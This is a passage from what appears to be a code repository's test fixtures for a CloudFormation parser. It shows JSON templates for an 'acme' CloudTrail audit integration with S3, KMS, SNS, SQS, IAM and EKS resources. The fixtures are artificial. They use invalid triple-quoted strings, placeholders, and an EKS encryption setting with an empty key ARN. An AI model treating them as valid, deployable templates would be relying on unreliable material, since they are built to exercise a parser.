{\n                  \"Sid\": \"ConsumeNotifications\",\n                  \"Action\": [\n                    \"sqs:GetQueueAttributes\",\n                    \"sqs:GetQueueUrl\",\n                    \"sqs:DeleteMessage\",\n                    \"sqs:ReceiveMessage\"\n                  ],\n                  \"Effect\": \"Allow\",\n                  \"Resource\": [\n                    {\n                      \"Fn::GetAtt\": [\n                        \"acmeCWSQueue\",\n                        \"Arn\"\n                      ]\n                    }\n                  ]\n                },\n                {\n                  \"Sid\": \"ListLogFiles\",\n                  \"Action\": [\n                    \"s3:ListBucket\"\n                  ],\n                  \"Effect\": \"Allow\",\n                  \"Resource\": [\n                    {\n                      \"Fn::Join\": [\n                        \"\",\n                        [\n                          \"arn:aws:s3:::\",\n                          {\n                            \"Fn::If\": [\n                              \"UseExistingTrail\",\n                              {\n                                \"Ref\": \"ExistingTrailBucketName\"\n                              },\n                              {\n                                \"Ref\": \"acmeCWSBucket\"\n                              }\n                            ]\n                          },\n                          {\n                            \"Fn::If\": [\n                              \"NewTrailUsesLogFilePrefix\",\n                              \"/\",\n                              \"\"\n                            ]\n                          },\n                          {\n                            \"Fn::If\": [\n                              \"NewTrailUsesLogFilePrefix\",\n                              {\n                                \"Ref\": \"NewTrailLogFilePrefix\"\n                              },\n                              \"\"\n                            ]\n                          },\n                          \"/AWSLogs/*\"\n                        ]\n                      ]\n                    }\n                  ],\n                  \"Condition\": {\n                    \"StringLike\": {\n                      \"s3:prefix\": [\n                        {\n                          \"Fn::Join\": [\n                            \"\",\n                            [\n                              {\n                                \"Fn::If\": [\n                                  \"NewTrailUsesLogFilePrefix\",\n                                  {\n                                    \"Ref\": \"NewTrailLogFilePrefix\"\n                                  },\n                                  \"\"\n                                ]\n                              },\n                              {\n                                \"Fn::If\": [\n                                  \"NewTrailUsesLogFilePrefix\",\n                                  \"/\",\n                                  \"\"\n                                ]\n                              },\n                              \"AWSLogs/*\"\n                            ]\n                          ]\n                        }\n                      ]\n                    }\n                  }\n                },\n                {\n                  \"Sid\": \"ReadLogFiles\",\n                  \"Action\": [\n                    \"s3:Get*\"\n                  ],\n                  \"Effect\": \"Allow\",\n                  \"Resource\": [\n                    {\n                      \"Fn::Join\": [\n                        \"\",\n                        [\n                          \"arn:aws:s3:::\",\n                          {\n                            \"Fn::If\": [\n                              \"UseExistingTrail\",\n                              {\n                                \"Ref\": \"ExistingTrailBucketName\"\n                              },\n                              {\n                                \"Ref\": \"acmeCWSBucket\"\n                              }\n                            ]\n                          },\n                          {\n                            \"Fn::If\": [\n                              \"NewTrailUsesLogFilePrefix\",\n                              \"/\",\n                              \"\"\n                            ]\n                          },\n                          {\n                            \"Fn::If\": [\n                              \"NewTrailUsesLogFilePrefix\",\n                              {\n                                \"Ref\": \"NewTrailLogFilePrefix\"\n                              },\n                              \"\"\n                            ]\n                          },\n                          \"/AWSLogs/*\"\n                        ]\n                      ]\n                    }\n                  ]\n                },\n                {\n                  \"Sid\": \"GetAccountAlias\",\n                  \"Action\": [\n                    \"iam:ListAccountAliases\"\n                  ],\n                  \"Effect\": \"Allow\",\n                  \"Resource\": \"*\"\n                },\n                {\n                  \"Sid\": \"GetMetricDataAccess\",\n                  \"Action\": [\n                    \"cloudwatch:GetMetricData\"\n                  ],\n                  \"Effect\": \"Allow\",\n                  \"Resource\": \"*\"\n                }\n              ]\n            }\n          }\n        ]\n      }\n    },\n    \"eksCluster\": {\n      \"Type\": \"AWS::EKS::Cluster\",\n      \"Properties\": {\n        \"EncryptionConfig\" : [\n          {\n            \"Provider\": {\n              \"KeyArn\": \"\"\n            },\n            \"Resources\": [\"secrets\"]\n          }\n        ]\n      }\n    },\n    \"acmeSnsCustomResource\": {\n      \"Type\": \"Custom::acmeSnsCustomResource\",\n      \"DependsOn\": [\n        \"acmeCWSQueuePolicy\"\n      ],\n      \"Properties\": {\n        \"Type\": \"AWS_CT_CFG\",\n        \"ServiceToken\": {\n          \"Fn::Join\": [\n            \"\",\n            [\n              \"arn:aws:sns:\",\n              {\n                \"Ref\": \"AWS::Region\"\n              },\n              \":\",\n              {\n                \"Fn::FindInMap\": [\n                  \"acmeEnvironment\",\n                  \"env\",\n                  \"organizationID\"\n                ]\n              },\n              \":\",\n              {\n                \"Fn::FindInMap\": [\n                  \"acmeEnvironment\",\n                  \"env\",\n                  \"SnsNameForConfirmCustomerDeployment\"\n                ]\n              }\n            ]\n          ]\n        },\n        \"IntegrationName\": {\n          \"Ref\": \"AWS::StackName\"\n        },\n        \"CrossAccountRoleArn\": {\n          \"Fn::GetAtt\": [\n            \"acmeCWSSACrossAccountAccessRole\",\n            \"Arn\"\n          ]\n        },\n        \"ExternalId\": {\n          \"Ref\": \"ExternalID\"\n        },\n        \"SqsQueueUrl\": {\n          \"Ref\": \"acmeCWSQueue\"\n        },\n        \"CustomerName\": {\n          \"Ref\": \"CustomerName\"\n        },\n        \"DeploymentRegion\": {\n          \"Ref\": \"AWS::Region\"\n        },\n        \"ActionType\": \"CustomerSignUp\",\n        \"Account\": \"acme\",\n        \"TemplateVersion\": \"${template_version}\",\n        \"AWSAccountId\": {\n          \"Ref\": \"AWS::AccountId\"\n        },\n        \"SecurityAccountId\": {\n          \"Fn::If\": [\n            \"SecurityAccountExists\",\n            {\n              \"Ref\": \"AWS::AccountId\"\n            },\n            {\n              \"Ref\": \"SecurityAccountId\"\n            }\n          ]\n        }\n      }\n    }\n  },\n  \"Outputs\": {\n    \"RoleARN\": {\n      \"Description\": \"Cross-account access role ARN to share with acme for CloudTrail integration\",\n      \"Value\": {\n        \"Fn::GetAtt\": [\n          \"acmeCWSSACrossAccountAccessRole\",\n          \"Arn\"\n        ]\n      }\n    },\n    \"CustomerName\": {\n      \"Description\": \"Customer name as defined on acme Signup\",\n      \"Value\": {\n        \"Ref\": \"CustomerName\"\n      }\n    },\n    \"SQSQueueURL\": {\n      \"Description\": \"SQS queue URL to share with acme for CloudTrail Integration\",\n      \"Value\": {\n        \"Ref\": \"acmeCWSQueue\"\n      }\n    },\n    \"SQSQueueARN\": {\n      \"Description\": \"SQS queue ARN to share with acme for CloudTrail Integration\",\n      \"Value\": {\n        \"Fn::GetAtt\": [\n          \"acmeCWSQueue\",\n          \"Arn\"\n        ]\n      }\n    },\n    \"DeploymentRegion\": {\n      \"Description\": \"The region that the customer installed this cloud-formation template\",\n      \"Value\": {\n        \"Ref\": \"AWS::Region\"\n      }\n    },\n    \"TemplateVersion\": {\n      \"Description\": \"acme.io template version\",\n      \"Value\": \"${template_version}\"\n    }\n  }\n}"
  },
  {
    "path": "tests/cloudformation/parser/success_triple_quotes_string.json",
    "content": "{\n  \"AWSTemplateFormatVersion\": \"2010-09-09\",\n  \"Description\": \"acme AWS CloudTrail and Config Security Audit Integration\",\n  \"Mappings\": {\n    \"acmeEnvironment\": {\n      \"env\": {\n        \"organizationID\": \"${account_id}\",\n        \"SnsNameForConfirmCustomerDeployment\": \"${sns_name}\"\n      }\n    }\n  },\n  \"Metadata\": {\n    \"AWS::CloudFormation::Interface\": {\n      \"ParameterGroups\": [\n        {\n          \"Label\": {\n            \"default\": \"\"\"Required Parameters\"\"\"\n          },\n          \"Parameters\": [\n            \"CustomerName\",\n            \"ResourceNamePrefix\",\n            \"ExternalID\",\n            \"LogFilesExpiration\",\n            \"CreateTrail\"\n          ]\n        },\n        {\n          \"Label\": {\n            \"default\": \"New Trail Options\"\n          },\n          \"Parameters\": [\n            \"NewTrailLogFilePrefix\"\n          ]\n        },\n        {\n          \"Label\": {\n            \"default\": \"Existing Trail Setup\"\n          },\n          \"Parameters\": [\n            \"ExistingTrailBucketName\",\n            \"ExistingTrailTopicArn\",\n            \"SecurityAccountId\"\n          ]\n        }\n      ],\n      \"ParameterLabels\": {\n        \"ResourceNamePrefix\": {\n          \"default\": \"Resource name prefix\"\n        },\n        \"CustomerName\": {\n          \"default\": \"Customer name\"\n        },\n        \"ExternalID\": {\n          \"default\": \"ExternalID\"\n        },\n        \"CreateTrail\": {\n          \"default\": \"\"\"Create new trail?\"\"\"\n        },\n        \"NewTrailLogFilePrefix\": {\n          \"default\": \"\"\"Log file prefix\\n hello\"\"\"\n        },\n        \"ExistingTrailBucketName\": {\n          \"default\": \"Bucket name\"\n        },\n        \"ExistingTrailTopicArn\": {\n          \"default\": \"Topic ARN\"\n        },\n        \"LogFilesExpiration\": {\n          \"default\": \"LifecycleConfigurationExpirationInDays\"\n        }\n      }\n    }\n  },\n  \"Parameters\": {\n    \"ResourceNamePrefix\": {\n      \"Description\": \"Names of resources created by the stack will be prefixed with this value to ensure uniqueness.\",\n      \"Type\": \"String\",\n      \"Default\": \"acme\",\n      \"MinLength\": \"1\",\n      \"MaxLength\": \"32\",\n      \"AllowedPattern\": \"^[a-zA-Z0-9]+(?:-[a-zA-Z0-9]+)*$\",\n      \"ConstraintDescription\": \"Invalid resource name prefix value.  Must match pattern ^[a-zA-Z0-9]+(?:-[a-zA-Z0-9]+)*$\"\n    },\n    \"CustomerName\": {\n      \"Description\": \"Customer name as defined on acme Signup\",\n      \"Type\": \"String\",\n      \"MinLength\": \"2\",\n      \"MaxLength\": \"1224\",\n      \"AllowedPattern\": \"[a-zA-Z0-9]*\",\n      \"ConstraintDescription\": \"must contain only alphanumeric characters.\"\n    },\n    \"ExternalID\": {\n      \"Description\": \"The cross-account access role created by the stack will use this value for its ExternalID.\",\n      \"Type\": \"String\",\n      \"MinLength\": \"2\",\n      \"MaxLength\": \"1224\",\n      \"AllowedPattern\": \"[\\\\w+=,.@:\\\\/-]*\",\n      \"ConstraintDescription\": \"Invalid ExternalID value.  Must match pattern [\\\\w+=,.@:\\\\/-]*\"\n    },\n    \"CreateTrail\": {\n      \"Description\": \"\"\"You can have a new multi-region CloudTrail trail be created (along with a new S3 bucket and SNS topic), or use your existing trail setup.\"\"\",\n      \"Type\": \"String\",\n      \"AllowedValues\": [\n        \"Yes\",\n        \"No\"\n      ],\n      \"Default\": \"Yes\"\n    },\n    \"NewTrailLogFilePrefix\": {\n      \"Description\": \"If you want the new trail to prefix its log file names, provide the prefix to use.  Otherwise, leave it blank.\",\n      \"Default\": \"\",\n      \"Type\": \"String\",\n      \"MaxLength\": \"64\",\n      \"AllowedPattern\": \"[a-zA-Z0-9-_.!()* ]*\",\n      \"ConstraintDescription\": \"Invalid log file prefix.  Must match pattern [a-zA-Z0-9-_.!()* ]*\"\n    },\n    \"ExistingTrailBucketName\": {\n      \"Description\": \"Provide the name of the S3 bucket for your existing trail setup.  The bucket must be owned by the current account.\",\n      \"Default\": \"\",\n      \"Type\": \"String\",\n      \"MaxLength\": \"128\"\n    },\n    \"ExistingTrailTopicArn\": {\n      \"Description\": \"Provide the ARN of the SNS topic for your existing trail setup. The SNS must be subscribe to the existing bucket\",\n      \"Default\": \"\",\n      \"Type\": \"String\",\n      \"MaxLength\": \"256\"\n    },\n    \"SecurityAccountId\": {\n      \"Description\": \"In case of an existing CloudTrail trail saving logs to another account, please provide the account ID for that account\",\n      \"Default\": \"\",\n      \"Type\": \"String\",\n      \"AllowedPattern\": \"\\\\d{12}|\\\\d{0}\",\n      \"MaxLength\": \"12\"\n    },\n    \"LogFilesExpiration\": {\n      \"Description\": \"Number of days log files will be saved for. After this many days, log files will be deleted\",\n      \"Type\": \"Number\",\n      \"Default\": \"30\",\n      \"MinValue\": \"7\",\n      \"MaxValue\": \"365\"\n    }\n  },\n  \"Conditions\": {\n    \"CreateNewTrail\": {\n      \"Fn::Equals\": [\n        {\n          \"Ref\": \"CreateTrail\"\n        },\n        \"Yes\"\n      ]\n    },\n    \"UseExistingTrail\": {\n      \"Fn::Not\": [\n        {\n          \"Fn::Equals\": [\n            {\n              \"Ref\": \"CreateTrail\"\n            },\n            \"Yes\"\n          ]\n        }\n      ]\n    },\n    \"NewTrailUsesLogFilePrefix\": {\n      \"Fn::Not\": [\n        {\n          \"Fn::Equals\": [\n            {\n              \"Ref\": \"NewTrailLogFilePrefix\"\n            },\n            \"\"\n          ]\n        }\n      ]\n    },\n    \"SecurityAccountExists\": {\n      \"Fn::Equals\": [\n        {\n          \"Ref\": \"SecurityAccountId\"\n        },\n        \"\"\n      ]\n    }\n  },\n  \"Resources\": {\n    \"acmeCWSBucket\": {\n      \"Condition\": \"CreateNewTrail\",\n      \"Type\": \"AWS::S3::Bucket\",\n      \"DeletionPolicy\": \"Retain\",\n      \"Properties\": {\n        \"BucketName\": {\n          \"Fn::Join\": [\n            \"\",\n            [\n              {\n                \"Ref\": \"ResourceNamePrefix\"\n              },\n              \"-acmecws-\",\n              {\n                \"Ref\": \"AWS::AccountId\"\n              }\n            ]\n          ]\n        },\n        \"VersioningConfiguration\": {\n          \"Status\": \"Enabled\"\n        },\n        \"LifecycleConfiguration\": {\n          \"Rules\": [\n            {\n              \"Id\": \"Delete old log files\",\n              \"Status\": \"Enabled\",\n              \"ExpirationInDays\": {\n                \"Ref\": \"LogFilesExpiration\"\n              },\n              \"NoncurrentVersionExpirationInDays\": {\n                \"Ref\": \"LogFilesExpiration\"\n              }\n            }\n          ]\n        },\n        \"BucketEncryption\": {\n          \"ServerSideEncryptionConfiguration\": [\n            {\n              \"ServerSideEncryptionByDefault\": {\n                \"Fn::If\": [\n                  \"CreateNewTrail\",\n                  {\n                    \"KMSMasterKeyID\": {\n                      \"Ref\": \"CloudtrailKMSKeyAlias\"\n                    },\n                    \"SSEAlgorithm\": \"aws:kms\"\n                  },\n                  {\n                    \"SSEAlgorithm\": \"AES256\"\n                  }\n                ]\n              }\n            }\n          ]\n        }\n      }\n    },\n    \"acmeCWSBucket2\": {\n      \"Type\": \"AWS::S3::Bucket\",\n      \"DeletionPolicy\": \"Retain\",\n      \"Properties\": {\n        \"BucketName\": {\n          \"Fn::Join\": [\n            \"\",\n            [\n              {\n                \"Ref\": \"ResourceNamePrefix\"\n              },\n              \"-acmecws-\",\n              {\n                \"Ref\": \"AWS::AccountId\"\n              }\n            ]\n          ]\n        },\n        \"LoggingConfiguration\": {\n          \"DestinationBucketName\": \"dest-bucket\",\n          \"LogFilePrefix\": \"\"\n        },\n        \"LifecycleConfiguration\": {\n          \"Rules\": [\n            {\n              \"Id\": \"Delete old log files\",\n              \"Status\": \"Enabled\",\n              \"ExpirationInDays\": {\n                \"Ref\": \"LogFilesExpiration\"\n              },\n              \"NoncurrentVersionExpirationInDays\": {\n                \"Ref\": \"LogFilesExpiration\"\n              }\n            }\n          ]\n        },\n        \"BucketEncryption\": {\n          \"ServerSideEncryptionConfiguration\": [\n            {\n              \"ServerSideEncryptionByDefault\": {\n                \"Fn::If\": [\n                  \"CreateNewTrail\",\n                  {\n                    \"KMSMasterKeyID\": {\n                      \"Ref\": \"CloudtrailKMSKeyAlias\"\n                    },\n                    \"SSEAlgorithm\": \"aws:kms\"\n                  },\n                  {\n                    \"SSEAlgorithm\": \"AES256\"\n                  }\n                ]\n              }\n            }\n          ]\n        }\n      }\n    },\n    \"acmeCWSBucketPolicy\": {\n      \"Condition\": \"CreateNewTrail\",\n      \"Type\": \"AWS::S3::BucketPolicy\",\n      \"Properties\": {\n        \"Bucket\": {\n          \"Ref\": \"acmeCWSBucket\"\n        },\n        \"PolicyDocument\": {\n          \"Version\": \"2012-10-17\",\n          \"Id\": \"acmeCWSBucketPolicy\",\n          \"Statement\": [\n            {\n              \"Sid\": \"CloudTrailAclCheck\",\n              \"Action\": \"s3:GetBucketAcl\",\n              \"Effect\": \"Allow\",\n              \"Resource\": {\n                \"Fn::Join\": [\n                  \"\",\n                  [\n                    \"arn:aws:s3:::\",\n                    {\n                      \"Ref\": \"acmeCWSBucket\"\n                    }\n                  ]\n                ]\n              },\n              \"Principal\": {\n                \"Service\": \"cloudtrail.amazonaws.com\"\n              }\n            },\n            {\n              \"Sid\": \"CloudTrailWrite\",\n              \"Action\": \"s3:PutObject\",\n              \"Effect\": \"Allow\",\n              \"Resource\": {\n                \"Fn::Join\": [\n                  \"\",\n                  [\n                    \"arn:aws:s3:::\",\n                    {\n                      \"Ref\": \"acmeCWSBucket\"\n                    },\n                    {\n                      \"Fn::If\": [\n                        \"NewTrailUsesLogFilePrefix\",\n                        {\n                          \"Fn::Join\": [\n                            \"\",\n                            [\n                              \"/\",\n                              {\n                                \"Ref\": \"NewTrailLogFilePrefix\"\n                              }\n                            ]\n                          ]\n                        },\n                        \"\"\n                      ]\n                    },\n                    \"/AWSLogs/\",\n                    {\n                      \"Ref\": \"AWS::AccountId\"\n                    },\n                    \"/*\"\n                  ]\n                ]\n              },\n              \"Principal\": {\n                \"Service\": \"cloudtrail.amazonaws.com\"\n              },\n              \"Condition\": {\n                \"StringEquals\": {\n                  \"s3:x-amz-acl\": \"bucket-owner-full-control\"\n                },\n                \"Bool\": {\n                  \"aws:SecureTransport\": \"true\"\n                }\n              }\n            },\n            {\n              \"Sid\": \"DenyUnsecureTransport\",\n              \"Action\": \"s3:*\",\n              \"Effect\": \"Deny\",\n              \"Resource\": [\n                {\n                  \"Fn::Join\": [\n                    \"\",\n                    [\n                      \"arn:aws:s3:::\",\n                      {\n                        \"Ref\": \"acmeCWSBucket\"\n                      },\n                      \"/*\"\n                    ]\n                  ]\n                },\n                {\n                  \"Fn::Join\": [\n                    \"\",\n                    [\n                      \"arn:aws:s3:::\",\n                      {\n                        \"Ref\": \"acmeCWSBucket\"\n                      }\n                    ]\n                  ]\n                }\n              ],\n              \"Principal\": \"*\",\n              \"Condition\": {\n                \"Bool\": {\n                  \"aws:SecureTransport\": \"false\"\n                }\n              }\n            }\n          ]\n        }\n      }\n    },\n    \"acmeCWSTopic\": {\n      \"Condition\": \"CreateNewTrail\",\n      \"Type\": \"AWS::SNS::Topic\",\n      \"Properties\": {\n        \"TopicName\": {\n          \"Fn::Join\": [\n            \"\",\n            [\n              {\n                \"Ref\": \"ResourceNamePrefix\"\n              },\n              \"-acmecws\"\n            ]\n          ]\n        }\n      }\n    },\n    \"acmeCWSTopicPolicy\": {\n      \"Condition\": \"CreateNewTrail\",\n      \"Type\": \"AWS::SNS::TopicPolicy\",\n      \"Properties\": {\n        \"PolicyDocument\": {\n          \"Version\": \"2012-10-17\",\n          \"Statement\": [\n            {\n              \"Sid\": \"CloudTrailPublish\",\n              \"Action\": \"SNS:Publish\",\n              \"Effect\": \"Allow\",\n              \"Principal\": {\n                \"Service\": \"cloudtrail.amazonaws.com\"\n              },\n              \"Resource\": \"*\"\n            }\n          ]\n        },\n        \"Topics\": [\n          {\n            \"Ref\": \"acmeCWSTopic\"\n          }\n        ]\n      }\n    },\n    \"acmeCWSTrail\": {\n      \"Condition\": \"CreateNewTrail\",\n      \"Type\": \"AWS::CloudTrail::Trail\",\n      \"DependsOn\": [\n        \"acmeCWSTopicPolicy\",\n        \"acmeCWSBucketPolicy\"\n      ],\n      \"Properties\": {\n        \"TrailName\": {\n          \"Fn::Join\": [\n            \"\",\n            [\n              {\n                \"Ref\": \"ResourceNamePrefix\"\n              },\n              \"-acmecws\"\n            ]\n          ]\n        },\n        \"S3BucketName\": {\n          \"Ref\": \"acmeCWSBucket\"\n        },\n        \"S3KeyPrefix\": {\n          \"Fn::If\": [\n            \"NewTrailUsesLogFilePrefix\",\n            {\n              \"Ref\": \"NewTrailLogFilePrefix\"\n            },\n            {\n              \"Ref\": \"AWS::NoValue\"\n            }\n          ]\n        },\n        \"SnsTopicName\": {\n          \"Fn::GetAtt\": [\n            \"acmeCWSTopic\",\n            \"TopicName\"\n          ]\n        },\n        \"KMSKeyId\": {\n          \"Ref\": \"CloudtrailKMSKeyAlias\"\n        },\n        \"EnableLogFileValidation\": true,\n        \"IncludeGlobalServiceEvents\": true,\n        \"IsMultiRegionTrail\": true,\n        \"IsLogging\": true\n      }\n    },\n    \"CloudtrailKMSKey\": {\n      \"Condition\": \"CreateNewTrail\",\n      \"Type\": \"AWS::KMS::Key\",\n      \"Properties\": {\n        \"Description\": \"KMS for Cloudtrail, shared with Lacework and acme\",\n        \"Enabled\": true,\n        \"EnableKeyRotation\": true,\n        \"KeyPolicy\": {\n          \"Version\": \"2012-10-17\",\n          \"Id\": \"key-default-1\",\n          \"Statement\": [\n            {\n              \"Sid\": \"Enable owner account permissions\",\n              \"Effect\": \"Allow\",\n              \"Principal\": {\n                \"AWS\": {\n                  \"Fn::Join\": [\n                    \"\",\n                    [\n                      \"arn:aws:iam::\",\n                      {\n                        \"Ref\": \"AWS::AccountId\"\n                      },\n                      \":root\"\n                    ]\n                  ]\n                }\n              },\n              \"Action\": \"kms:*\",\n              \"Resource\": \"*\"\n            },\n            {\n              \"Sid\": \"Allow CloudTrail to encrypt logs\",\n              \"Effect\": \"Allow\",\n              \"Principal\": {\n                \"Service\": \"cloudtrail.amazonaws.com\"\n              },\n              \"Action\": [\n                \"kms:GenerateDataKey*\",\n                \"kms:ReEncryptFrom\"\n              ],\n              \"Resource\": \"*\",\n              \"Condition\": {\n                \"StringLike\": {\n                  \"kms:EncryptionContext:aws:cloudtrail:arn\": {\n                    \"Fn::Join\": [\n                      \"\",\n                      [\n                        \"arn:aws:cloudtrail:*:\",\n                        {\n                          \"Ref\": \"AWS::AccountId\"\n                        },\n                        \":trail/*\"\n                      ]\n                    ]\n                  }\n                }\n              }\n            },\n            {\n              \"Sid\": \"Allow CloudTrail to describe key\",\n              \"Effect\": \"Allow\",\n              \"Principal\": {\n                \"Service\": \"cloudtrail.amazonaws.com\"\n              },\n              \"Action\": \"kms:DescribeKey\",\n              \"Resource\": \"*\"\n            },\n            {\n              \"Sid\": \"Enable acme & Lacework log decryption\",\n              \"Effect\": \"Allow\",\n              \"Principal\": {\n                \"AWS\": \"*\"\n              },\n              \"Action\": [\n                \"kms:Decrypt\"\n              ],\n              \"Resource\": \"*\",\n              \"Condition\": {\n                \"StringEquals\": {\n                  \"kms:CallerAccount\": {\n                    \"Ref\": \"AWS::AccountId\"\n                  }\n                },\n                \"StringLike\": {\n                  \"kms:EncryptionContext:aws:cloudtrail:arn\": {\n                    \"Fn::Join\": [\n                      \"\",\n                      [\n                        \"arn:aws:cloudtrail:*:\",\n                        {\n                          \"Ref\": \"AWS::AccountId\"\n                        },\n                        \":trail/*\"\n                      ]\n                    ]\n                  }\n                }\n              }\n            }\n          ]\n        },\n        \"KeyUsage\": \"ENCRYPT_DECRYPT\"\n      },\n      \"Metadata\": {\n        \"AWS::CloudFormation::Designer\": {\n          \"id\": \"787370fe-e579-465f-98c5-f1c84f79a810\"\n        }\n      }\n    },\n    \"CloudtrailKMSKeyAlias\": {\n      \"Condition\": \"CreateNewTrail\",\n      \"Type\": \"AWS::KMS::Alias\",\n      \"Properties\": {\n        \"AliasName\": {\n          \"Fn::Join\": [\n            \"\",\n            [\n              \"alias/\",\n              {\n                \"Ref\": \"ResourceNamePrefix\"\n              },\n              \"-CloudtrailKey\"\n            ]\n          ]\n        },\n        \"TargetKeyId\": {\n          \"Ref\": \"CloudtrailKMSKey\"\n        }\n      }\n    },\n    \"acmeCWSQueue\": {\n      \"Type\": \"AWS::SQS::Queue\",\n      \"Properties\": {\n        \"QueueName\": {\n          \"Fn::Join\": [\n            \"\",\n            [\n              {\n                \"Ref\": \"ResourceNamePrefix\"\n              },\n              \"-acmecws\"\n            ]\n          ]\n        },\n        \"VisibilityTimeout\": 43200\n      }\n    },\n    \"acmeCWSQueuePolicy\": {\n      \"Type\": \"AWS::SQS::QueuePolicy\",\n      \"Properties\": {\n        \"PolicyDocument\": {\n          \"Version\": \"2012-10-17\",\n          \"Statement\": [\n            {\n              \"Sid\": \"AwsSnsAccess\",\n              \"Effect\": \"Allow\",\n              \"Principal\": \"*\",\n              \"Action\": [\n                \"sqs:SendMessage\"\n              ],\n              \"Resource\": \"*\",\n              \"Condition\": {\n                \"ArnEquals\": {\n                  \"aws:SourceArn\": {\n                    \"Fn::If\": [\n                      \"CreateNewTrail\",\n                      {\n                        \"Ref\": \"acmeCWSTopic\"\n                      },\n                      {\n                        \"Ref\": \"ExistingTrailTopicArn\"\n                      }\n                    ]\n                  }\n                }\n              }\n            },\n            {\n              \"Sid\": \"acmeSqsAccess\",\n              \"Effect\": \"Allow\",\n              \"Principal\": {\n                \"AWS\": {\n                  \"Fn::Join\": [\n                    \"\",\n                    [\n                      \"arn:aws:iam::\",\n                      {\n                        \"Fn::FindInMap\": [\n                          \"acmeEnvironment\",\n                          \"env\",\n                          \"organizationID\"\n                        ]\n                      },\n                      \":root\"\n                    ]\n                  ]\n                }\n              },\n              \"Action\": [\n                \"sqs:ReceiveMessage\",\n                \"sqs:DeleteMessage\",\n                \"sqs:GetQueueAttributes\",\n                \"sqs:GetQueueUrl\",\n                \"sqs:ListDeadLetterSourceQueues\",\n                \"sqs:ChangeMessageVisibility\"\n              ],\n              \"Resource\": \"*\"\n            }\n          ]\n        },\n        \"Queues\": [\n          {\n            \"Ref\": \"acmeCWSQueue\"\n          }\n        ]\n      }\n    },\n    \"acmeCWSSubscription\": {\n      \"Type\": \"AWS::SNS::Subscription\",\n      \"Properties\": {\n        \"Endpoint\": {\n          \"Fn::GetAtt\": [\n            \"acmeCWSQueue\",\n            \"Arn\"\n          ]\n        },\n        \"Protocol\": \"sqs\",\n        \"TopicArn\": {\n          \"Fn::If\": [\n            \"CreateNewTrail\",\n            {\n              \"Ref\": \"acmeCWSTopic\"\n            },\n            {\n              \"Ref\": \"ExistingTrailTopicArn\"\n            }\n          ]\n        }\n      }\n    },\n    \"acmeCWSSACrossAccountAccessRole\": {\n      \"Type\": \"AWS::IAM::Role\",\n      \"Properties\": {\n        \"RoleName\": {\n          \"Fn::Join\": [\n            \"\",\n            [\n              {\n                \"Ref\": \"ResourceNamePrefix\"\n              },\n              \"-acmecwssarole\"\n            ]\n          ]\n        },\n        \"AssumeRolePolicyDocument\": {\n          \"Version\": \"2012-10-17\",\n          \"Statement\": [\n            {\n              \"Action\": \"sts:AssumeRole\",\n              \"Effect\": \"Allow\",\n              \"Principal\": {\n                \"AWS\": {\n                  \"Fn::Join\": [\n                    \"\",\n                    [\n                      \"arn:aws:iam::\",\n                      {\n                        \"Fn::FindInMap\": [\n                          \"acmeEnvironment\",\n                          \"env\",\n                          \"organizationID\"\n                        ]\n                      },\n                      \":root\"\n                    ]\n                  ]\n                }\n              },\n              \"Condition\": {\n                \"StringEquals\": {\n                  \"sts:ExternalId\": {\n                    \"Ref\": \"ExternalID\"\n                  }\n                }\n              }\n            }\n          ]\n        },\n        \"ManagedPolicyArns\": [\n          \"arn:aws:iam::aws:policy/SecurityAudit\",\n          \"arn:aws:iam::aws:policy/AWSCloudFormationReadOnlyAccess\"\n        ],\n        \"Policies\": [\n          {\n            \"PolicyName\": \"acmeCWSPolicy\",\n            \"PolicyDocument\": {\n              \"Version\": \"2012-10-17\",\n              \"Statement\": [\n                {\n                  \"Sid\": \"ConsumeNotifications\",\n                  \"Action\": [\n                    \"sqs:GetQueueAttributes\",\n                    \"sqs:GetQueueUrl\",\n                    \"sqs:DeleteMessage\",\n                    \"sqs:ReceiveMessage\"\n                  ],\n                  \"Effect\": \"Allow\",\n                  \"Resource\": [\n                    {\n                      \"Fn::GetAtt\": [\n                        \"acmeCWSQueue\",\n                        \"Arn\"\n                      ]\n                    }\n                  ]\n                },\n                {\n                  \"Sid\": \"ListLogFiles\",\n                  \"Action\": [\n                    \"s3:ListBucket\"\n                  ],\n                  \"Effect\": \"Allow\",\n                  \"Resource\": [\n                    {\n                      \"Fn::Join\": [\n                        \"\",\n                        [\n                          \"arn:aws:s3:::\",\n                          {\n                            \"Fn::If\": [\n                              \"UseExistingTrail\",\n                              {\n                                \"Ref\": \"ExistingTrailBucketName\"\n                              },\n                              {\n                                \"Ref\": \"acmeCWSBucket\"\n                              }\n                            ]\n                          },\n                          {\n                            \"Fn::If\": [\n                              \"NewTrailUsesLogFilePrefix\",\n                              \"/\",\n                              \"\"\n                            ]\n                          },\n                          {\n                            \"Fn::If\": [\n                              \"NewTrailUsesLogFilePrefix\",\n                              {\n                                \"Ref\": \"NewTrailLogFilePrefix\"\n                              },\n                              \"\"\n                            ]\n                          },\n                          \"/AWSLogs/*\"\n                        ]\n                      ]\n                    }\n                  ],\n                  \"Condition\": {\n                    \"StringLike\": {\n                      \"s3:prefix\": [\n                        {\n                          \"Fn::Join\": [\n                            \"\",\n                            [\n                              {\n                                \"Fn::If\": [\n                                  \"NewTrailUsesLogFilePrefix\",\n                                  {\n                                    \"Ref\": \"NewTrailLogFilePrefix\"\n                                  },\n                                  \"\"\n                                ]\n                              },\n                              {\n                                \"Fn::If\": [\n                                  \"NewTrailUsesLogFilePrefix\",\n                                  \"/\",\n                                  \"\"\n                                ]\n                              },\n                              \"AWSLogs/*\"\n                            ]\n                          ]\n                        }\n                      ]\n                    }\n                  }\n                },\n                {\n                  \"Sid\": \"ReadLogFiles\",\n                  \"Action\": [\n                    \"s3:Get*\"\n                  ],\n                  \"Effect\": \"Allow\",\n                  \"Resource\": [\n                    {\n                      \"Fn::Join\": [\n                        \"\",\n                        [\n                          \"arn:aws:s3:::\",\n                          {\n                            \"Fn::If\": [\n                              \"UseExistingTrail\",\n                              {\n                                \"Ref\": \"ExistingTrailBucketName\"\n                              },\n                              {\n                                \"Ref\": \"acmeCWSBucket\"\n                              }\n                            ]\n                          },\n                          {\n                            \"Fn::If\": [\n                              \"NewTrailUsesLogFilePrefix\",\n                              \"/\",\n                              \"\"\n                            ]\n                          },\n                          {\n                            \"Fn::If\": [\n                              \"NewTrailUsesLogFilePrefix\",\n                              {\n                                \"Ref\": \"NewTrailLogFilePrefix\"\n                              },\n                              \"\"\n                            ]\n                          },\n                          \"/AWSLogs/*\"\n                        ]\n                      ]\n                    }\n                  ]\n                },\n                {\n                  \"Sid\": \"GetAccountAlias\",\n                  \"Action\": [\n                    \"iam:ListAccountAliases\"\n                  ],\n                 